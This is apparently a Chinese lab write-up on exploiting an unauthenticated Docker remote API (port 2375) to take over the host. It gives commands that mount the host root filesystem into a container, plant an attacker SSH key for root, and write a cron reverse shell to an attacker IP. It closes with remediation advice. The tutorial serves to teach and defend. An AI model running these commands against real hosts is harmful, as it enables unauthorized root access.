什么是Docker

Docker是一个开源的引擎,可以轻松的为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署,包括VMs(虚拟机)、bare metal、OpenStack 集群和其他的基础应用平台。

Docker未授权访问漏洞

产生原因

如果在docker上配置了远程访问,docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果没有做限制访问来源的话,攻击者就可以通过Docker未授权来控制服务器。

漏洞影响

攻击者利用 docker-client 或者 http 直接请求就可以访问这个API,可能导致敏感信息泄露,也可以删除Docker上的数据。攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。

本实验通过两种方法来介绍如何通过docker未授权获取宿主机的权限:
1.利用挂载目录的方式写ssh公钥getshell
2.利用写定时任务反弹shell。

实验环境

目标机器: CentOS7+Docker IP:10.1.1.200

攻击机器:Kali+Docker IP:10.1.1.100

信息收集

进行信息收集,寻找可能利用的点

  1. 通过nmap对目标进行信息收集,发现如下端口开放:
    在这里插入图片描述

22端口:ssh默认端口

2375端口:docker远程操控(通过这个端口对远程docker deaom进行操作)

  1. 已知目标开放2375端口,通过浏览器进行访问,如果页面显示message “page not found” 代表存在漏洞。
    在这里插入图片描述

  2. 如若页面空白显示。
    (1)可以通过info获取docker信息。

10.1.1.200:2375/info

在这里插入图片描述

(2)可以通过images/json获取列表。

10.1.1.200:2375/images/json

在这里插入图片描述

Docker未授权访问漏洞利用

使用Docker命令进行连接。

1.通过docker client使用-H参数连接目标主机的docker,并使用ps -a命令查询目标系统运行的所有容器,使用images命令查询目标系统的所有镜像。

docker -H tcp://10.1.1.200 ps -a    #列出所有容器

在这里插入图片描述

docker -H tcp://10.1.1.200 images    #列出所有镜像

在这里插入图片描述

进入容器

方法一:

(1)首先docker client连接目标,ps -a 查看哪些容器已经停止:
在这里插入图片描述

(2)通过start命令启动一个已经停止的容器:
在这里插入图片描述

(3)attach命令连接一个已经启动的容器:
在这里插入图片描述

这样就获得一个docker容器的shell。

方法二:

新运行一个容器并将entrypoint设置为/bin/bash或者/bin/sh,挂载点设置为服务器的根目录挂载至/mnt目录下(需要root权限启动docker)

docker -H tcp://10.1.1.200 run -it -v /:/mnt--entrypoint /bin/bash 4c9608fd76ba(镜像id)

在这里插入图片描述注意:docker run只在第一次运行时使用,将镜像放到容器中,以后再次启动这个容器时,只需要使用命令docker start 即可。

dockerrun相当于执行了两步操作:将镜像放入容器中(docker create),然后将容器启动(docker start)。

Docker未授权写入ssh公钥获得shell

原理:启动一个容器,挂载宿主机的/mnt目录(上一步骤已挂载),之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录了。

  1. 首先kali生成id_rsa公钥:
ssh-keygen -t rsa

在这里插入图片描述

  1. 查看下生成的公钥:
    生成的公钥在/root/.ssh/ 目录下。
cat /root/.ssh/id_rsa.pub

在这里插入图片描述

  1. 将生成公钥写入到目标/root/.ssh/authorized_keys文件中:
docker -H tcp://10.1.1.200 run -it -v /:/mnt--entrypoint /bin/bash 4c9608fd76ba

在这里插入图片描述在这里插入图片描述>这个代表的意思为覆盖,>>代表为追加

此处的路径为之前所挂载的路径,如果挂载root路径那就为/root/root/.ssh

  1. 写入后即可通过ssh进行连接,获取宿主机的shell:

在这里插入图片描述

Docker未授权写定时任务获得shell

原理:启动一个容器,挂载宿主机的目录(此前已挂载),之后将反弹shell的脚本写入到/var/spool/cron/root(centos系统)或/var/spool/cron/crontabs/root(ubuntu系统)中,攻击机nc -lvvp port会得到一个反弹的shell。

  1. kali开启监听。
    在这里插入图片描述

  2. 写入反弹shell的脚本。

echo "* * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/1212 0>&1" > /mnt/var/spool/cron/root

在这里插入图片描述

*****为定时任务 此处为每分钟执行一次 /bin/bash -i >& /dev/tcp/10.1.1.101/1212 0>&1

  1. 获得目标shell
    在这里插入图片描述

修复建议

  1. 设置ACL,只允许信任ip连接对应端口;
  2. 开启TLS,使用生成的证书进行认证
https://docs.docker.com/engine/security/protect-access/
Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐